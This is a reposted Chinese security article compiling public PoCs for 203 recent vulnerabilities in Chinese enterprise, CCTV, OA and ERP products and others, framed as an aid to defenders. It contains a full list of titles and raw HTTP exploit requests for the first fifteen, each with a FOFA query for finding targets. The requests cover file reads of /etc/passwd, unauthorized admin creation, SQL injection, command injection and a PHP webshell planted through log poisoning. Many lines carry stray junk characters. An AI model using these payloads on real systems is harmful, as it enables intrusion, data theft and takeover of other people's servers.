互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
$ \/ v# x+ b5 C# G# _以下文章来源于网络安全新视界 ，作者网络安全新视界

$ @8 u7 d% V- h. q发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
: j. B6 T0 \0 {) d
# c; Q$ S; z" k: l漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
( Q1 l" W$ [8 s# |# u8 \
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

9 A8 b2 t$ d. v  C
9 R( T0 M3 s" s声明
& Z$ l( @. R# a1 T9 r6 T& R, O
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

! W* h6 H0 a2 A# m
! v8 p. b2 {4 E
目录
# A- b& |4 e3 e$ D
# f+ D% X3 Q9 K& I$ N1 b01
+ o; r: T' o5 B9 A+ ?
/ Y/ m  V$ |  r0 K) k: `* ^% r1. StarRocks MPP数据库未授权访问
0 v5 u4 v( [  G2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
* m5 Y/ @# z, h9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
: @7 c! {, q& A% o12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
3 f" M  P# `3 g- y; G15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
" W: h! s* {, F6 A7 G$ b19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
! p* b* R) R4 j6 \" V20. 大华ICC智能物联综合管理平台任意文件读取
/ |/ o1 M" b0 U, s, n21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
6 i5 f1 m" }' G$ x- m4 G! m3 f24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
6 f8 J0 A) u$ J- D+ S; R26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
0 o+ D, l& G7 ]3 s3 c$ p28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
3 X4 q" P' S+ {$ w& e$ p; p34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
0 Q* E- L1 S3 o) ?1 M* O0 x8 o36. 用友NC-Cloud soapFormat XXE
) t" U, S' i5 g1 c37. 用友NC-Cloud IUpdateService XXE
: M( @: W7 A- j; X38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
; d1 a2 o5 X2 N0 d40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
& ~6 f% m) S$ p4 E  t43. 用友GRP-U8 userInfoWeb SQL注入致RCE
1 S, r* w! v' f) c1 V6 a- T44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
5 Q# P3 g5 A/ b3 o4 z" _/ L47. 用友GRP A++Cloud 政府财务云 任意文件读取
# W7 ], u9 y( D" S5 ~48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
4 D, B0 d3 [& ~4 J1 s+ X50. QDocs Smart School 6.4.1 filterRecords SQL注入
2 m7 d/ j& s: e6 d2 K- @; B/ W51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
2 i4 z1 p: B5 g52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
( E1 B' n* U  x; ]0 C1 K6 x0 @54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
- S$ {1 f5 M3 L7 g  D57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
; |3 Q7 d' a) t( I61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
$ C; ~! j% m. G* Q( j68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
4 y3 }, T' a$ R71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
0 }& A5 E) [, ]4 `7 C74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
+ a" U; ?1 ]! o) D% N; C1 G78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
. S' n$ }% u) _$ g4 Y79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" E8 R7 [1 p* L6 C8 s9 v( D$ M( n82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
$ T( @; N1 E* m# ^$ `. ?# }# J83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
* P; g7 @1 I; p" z" T8 \" c85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
! H" u" c9 h+ @0 f% w* W87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
/ Q2 A0 q  y/ E5 ~- {4 T, a89. 致远互联FE协作办公平台editflow_manager存在sql注入
: Z. T% \7 c" p6 w! F90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
! p9 H7 a2 G, u1 _95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
+ m) o" u8 U* n& O- a8 ~: X$ g97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
9 A# s, L5 C; b5 o2 a5 h; T5 O99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
3 d" y! N: \$ |, x3 B101. ivanti policy secure-22.6命令注入
" r$ E; h6 m0 s102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
. B+ e5 Q, `& i" e: n' g' K! n103. Ivanti Pulse Connect Secure VPN XXE
% }6 I. a9 h( b& F104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
3 G% e6 ~1 }& r106. SpringBlade dict-biz/list SQL 注入
- I$ E' l' Q: h0 p* ]' D107. SpringBlade tenant/list SQL 注入
% X8 r( ]9 n9 G108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
& Y+ K; X9 @' q# F110. Goanywhere MFT 未授权创建管理员
4 p4 F5 ^: s3 z( d) ]+ y' M111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
' F0 f! Q; \3 |113. WordPress Automatic 插件任意文件下载和SSRF
3 j) L4 x  l/ X) p114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
2 O( f" q9 t4 |$ W% r9 X118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
! p4 f) V% F' f' h8 Z0 l7 t  d7 w119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
5 c. w* B+ R6 A' i. h122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
' s; o- n4 i9 [" E$ a  g; q127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
4 E+ O3 f2 a4 Q% s130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
/ i: |% r& i4 D& ~132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
" G* C/ Z& w7 g133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
2 f. h6 A: ]! S' n- J3 r; H136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
% C) [9 e* b; k" H138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
4 V8 _( L5 {. e/ c139. 福建科立讯通信指挥调度平台editemedia.php sql注入
/ E& H! i- \% V; L; X! c140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
/ v2 g6 ^% y7 B' S( g! d7 F, r( |145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
7 @, Z( ?: |& G3 c, [147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
/ l2 K2 ^& ?& G% y; h! N2 t6 ^/ _148. CrushFTP 认证绕过模板注入
  a1 D$ ^  f# x. [149. AJ-Report开源数据大屏存在远程命令执行
5 ~1 p$ V0 o: Q150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
' p! R1 T0 a/ R8 j6 v. n153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
/ d) p8 U6 R( E* B155. 六零导航页 file.php 任意文件上传
! R  h0 E) _. h+ j. f156. TBK DVR-4104/DVR-4216 操作系统命令注入
6 ^1 z% v; @' J  T2 [6 I" L! K157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
+ s/ ~  @7 h" z' F: U: R160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
/ c1 t: d3 |! f' n4 ]- j165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
$ P  i: N! r5 V4 R2 }$ v167. 精益价值管理系统 DownLoad.aspx任意文件读取
% r5 H5 `4 ^7 K, y! ^168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
9 M, R0 L* I- A; C8 P  |171. 通天星CMSV6车载定位监控平台 SQL注入
+ F& c% \) t" d& x' Q172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
- X  G3 |5 j. r2 ^174. 金和OA C6 FileDownLoad.aspx 任意文件读取
0 F$ w- W. u. [& u- h' f# F* f% w1 I8 b( y% _175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
) }* b1 G0 N1 c) ~$ |; j176. 电信网关配置管理系统 rewrite.php 文件上传
) F6 V6 S& O) \( T. ?5 X4 z2 U177. H3C路由器敏感信息泄露
- k6 `( ?1 y" \178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
- D  v4 K" k! E4 r7 f180. 帮管客 CRM jiliyu SQL注入
2 F6 ~& R7 f# A  |+ c181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
! d' ~8 w' S$ v  y182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
# ?4 \0 i; ]9 q, A& `183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
0 N  R/ w( T6 o+ ]' {  x/ I4 a186. F-logic DataCube3 SQL注入
! Q# B) n! d; U1 _" s3 i' |: U/ c187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
, ~0 c0 ~* K5 @! k, W5 M189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
7 E* Z5 i; w4 M: h  F8 z7 ^192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
5 s; \7 h5 ]: \193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
# Y+ S" \1 b3 S3 d2 T) A# r196. 河南省风速科技统一认证平台密码重置
2 k' P! g, F. @2 Q; l; i6 J197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
* ^" X/ N# z4 \* V5 H200. SeaCMS海洋影视管理系统dmku SQL注入
7 T0 T. }6 p5 g% T201. 方正全媒体新闻采编系统 binary SQL注入
% p9 ?# [  u( C% X202. 微擎系统 AccountEdit任意文件上传
$ ?+ G$ g& O0 A1 g2 k# ^  q203. 红海云EHR PtFjk 文件上传

7 S+ M4 w5 t  v0 C- {POC列表
3 l% o$ w; j) a0 k
02

8 V7 Z( m' `  Y6 d1. StarRocks MPP数据库未授权访问
% ~; m5 O/ ]2 @$ {0 MFOFA ：title="StarRocks"
/ ]1 h) A8 C% ?- [. I! cGET /mem_tracker HTTP/1.1
+ F2 U7 _# b/ v! P  T0 |Host: URL

- E' q! y( M) h2 k  g4 @% l
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
! \8 l6 M  _$ v3 _Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- f" q) `$ I  J! g( ^: BConnection: close
- g. k$ {# e) ]5 G: PAccept: */*
+ V7 I  v/ z. E( U- HAccept-Language: en
Accept-Encoding: gzip

5 w  i  S. y. v
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
+ o" C& A0 u! h3 ~GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
/ S3 X- f! G/ Y  w8 VHost: xx.xx.xx.xx


0 {8 C" l; T* |+ G- d* n- C4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
$ B7 f, V( x$ `  p- QPOST /api/v1/adduser HTTP/1.1
; t/ a) t' a! J* i1 z; JHost: your-ip
: S+ l, l7 B1 ~3 w4 v! uContent-Type: application/x-www-form-urlencoded; charset=UTF-8
( Z. [: _1 ]% ], l1 I
1 X" v/ T8 Y4 k4 cname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
* y; X# @  o+ h/ u
* B4 q6 d% t1 {: M: x+ O! X& j( d) m' h
# S" h4 ]7 ?3 {2 [5. NUUO NVR 视频存储管理设备远程命令执行
  w& P2 H5 i2 h) {- ~FOFA：title="Network Video Recorder Login"
: E# h  c, {  B% x3 _9 FGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
" _+ z6 Z; s* e; IHost: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
0 z( {! T" X5 r" ]% G( t6 vFOFA：title="SANGFOR | NGAF"
4 `6 N, ^! D7 T7 J7 F' y4 wGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
: }7 ]' V$ o4 x3 sHost:


" F" u1 Y5 v$ e2 b2 t* D7 `: x1 z7. 鸿运主动安全监控云平台任意文件下载
- J( Z) j. i3 `1 H8 Q' nFOFA：body="./open/webApi.html"
( _- G% J% c& U. NGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

& b+ W. V* W( r8 M: E% }' J
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
5 F! u2 ?- F/ o/ N默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
6 y2 M+ ^, G0 m. MCookie: sysauth=第一步登录获取的cookie
; j, `+ ?/ x, |! M  b, AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) t: j" [/ d0 b
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
4 G/ y$ T9 [3 Q/ u7 }  x2 T+ P3 v2 j! a9 X
0 k  ~! Q" |6 R1 j3 [0 W# V3 o- m3 T* [/ ?%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
  h1 B; v: S. `& y, b% C
12:00; id;
- W0 @& K/ I/ a0 U0 E------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
- [  k" R/ w' @& a  ^. I* @% n
# A% ~, M1 w' H2 |" O%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


" I5 ^7 h% b& D! o+ Z------WebKitFormBoundaryxbgjoytz--
6 F2 K9 Y. R& R2 |, z
0 c5 X, h! t. Z9 p7 G7 Y8 m3 Z& i& i: q( s
7 H; `2 H) C! l) d9. 稻壳CMS keyword 未授权SQL注入
, Q. l/ n, M; ~0 cFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
& p* r/ X# L3 e# @Host: x.x.x.x


payload为下列语句的二次Url编码
0 g: A& i6 ]" I5 C+ }1 E& i9 u
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
' ]: s: \1 F# s" G; D' |1 O
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
1 x+ P- T9 ?: _* V3 g5 [/ L3 H1 @# JFOFA：icon_hash="953405444"
( o/ C( m4 h1 C4 o0 `& u
" F. a( m4 f  W- j& U文件上传后响应中包含上传文件的路径
& x" e0 l5 k* c9 y, GPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
' u4 Y. O4 z. [" C2 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
9 ?( Q5 f# _% E: O, i  qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
" ?  k% P$ I8 pAccept-Encoding: gzip, deflate
$ L4 g; y: I& o. N& WAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

9 R7 D! L& R0 w7 e% V3 U$ |3 R------WebKitFormBoundaryxdgaqmqu
1 N3 U% ?& s7 H1 v, @2 B6 E& F, @1 tContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
' s/ v, W/ Q2 Z4 W( y: H/ L
. f' Y+ r0 c. ^( X5 @7 w+ Djmnqjfdsupxgfidopeixbgsxbf
+ R8 E& M; f, v* ~! c------WebKitFormBoundaryxdgaqmqu--

6 c/ F; J2 a% }5 F  }
: U, C4 C2 i1 \2 {5 W11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
9 e4 L7 V/ s+ Z- tFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
1 [- F  E$ K* J7 U* JGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
0 w1 U6 N" s* j& F7 ^/ zHost: 127.0.0.1
/ Z( Z; Y4 v/ ^" p( i& s2 PPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
! z- ]" Q' U% N4 U+ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
. D+ N5 M) r* GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 r; {; t! k+ f9 q6 D4 FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
# G- Q) l+ [4 G$ E0 W6 W8 X
) T: j& P" F$ ^$ x
12. Jorani < 1.0.2 远程命令执行
5 y& f& k1 `# @& X5 V4 o1 rFOFA：title="Jorani"
9 D! M8 ~4 I4 q1 d% t. X. V8 P0 n: ]第一步先拿到cookie
3 O2 o0 f& e# h& O7 L9 B7 R0 |6 ^GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
9 l' F$ A8 ]" o5 g8 MConnection: close
7 O+ }3 v5 H, ~Accept-Encoding: gzip
( o- \) v, U) F' E* z4 m9 t! Q& i

响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
; B$ b' t7 Q9 u1 V" z* [4 ~, [6 [Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
: ]$ K7 N- ?: u/ Y3 ODate: Tue, 24 Oct 2023 09:34:28 GMT
. ^) X, m; j" B( q) a8 m* _8 I2 pExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
0 h" z7 x5 _  I$ u/ @Server: Apache/2.4.54 (Debian)
" p. @% p. x6 c4 ]+ a+ N; F' cSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
: n! h/ q# C$ P& |7 @' r/ FSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
- {( Z% |/ a6 P& \Vary: Accept-Encoding
6 p' u2 ?9 S  t/ [* ?/ B
7 ]' O- L; T# I* F
3 I6 C: F9 z/ ~- r1 ~1 U7 NPOST请求，执行函数并进行base64编码
& ?1 [4 M5 S- M* t/ RPOST /session/login HTTP/1.1
9 m( |7 q1 M( Z( A" K& k" w- OHost: 192.168.190.30
% k8 ~; z) I3 T0 K& A; ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
/ F- N3 i# L( J% {. aConnection: close
& f+ \4 Z8 x; ^0 tContent-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
& a( B4 \  ~+ v2 G8 ~5 G7 n- rAccept-Encoding: gzip
! R' R8 z  b$ L' l: k/ B3 ?+ V/ d" i
' f) _- J1 e: R" u2 Q" ?( scsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
& F( i) Z0 c/ J% ?, r& v, H$ B# S

) [3 l7 V) u# D9 ]4 H6 V4 @0 V7 k
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
' O5 H( Y$ O5 V( f' {9 }Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
/ H) A7 U2 Z  g$ O$ xK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
2 I7 s* v7 x  {: |4 UX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
: @' V5 m, P3 uFOFA：app="红帆-ioffice"
1 y9 [- Y, `9 @) E# ~GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
+ n0 i2 l2 }: i  \  v% E+ [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- I6 z7 j! Y$ f% V$ i$ SConnection: close
Accept: */*
Accept-Encoding: gzip
* i( v& t% \+ I4 C9 p
, @' `" ]9 Z' N, a
) F2 t, e4 Y- y  U6 u, O# \% c14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
( d- @; S# m8 m2 V* }GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
% ]+ w( m5 ~1 p9 v2 g. }/ f' bHost: x.x.x.x
8 b& X; Q$ E, ^2 s0 t9 LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


" O# n( c6 a. ^( y4 _- M& O15. 华夏ERP getAllList信息泄露
CVE-2024-0490
1 M+ M$ V& _6 R1 a8 C! F4 C  I+ ^FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
) T, ?2 L+ x+ y( x( u+ D2 D0 sHost: 192.168.40.130:100
% r& @$ o; P8 a: }9 p; L5 A, tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
4 p* f7 J/ p; S. hAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
8 Z* H3 ]- h# u3 _3 j9 [6 P1 [6 x
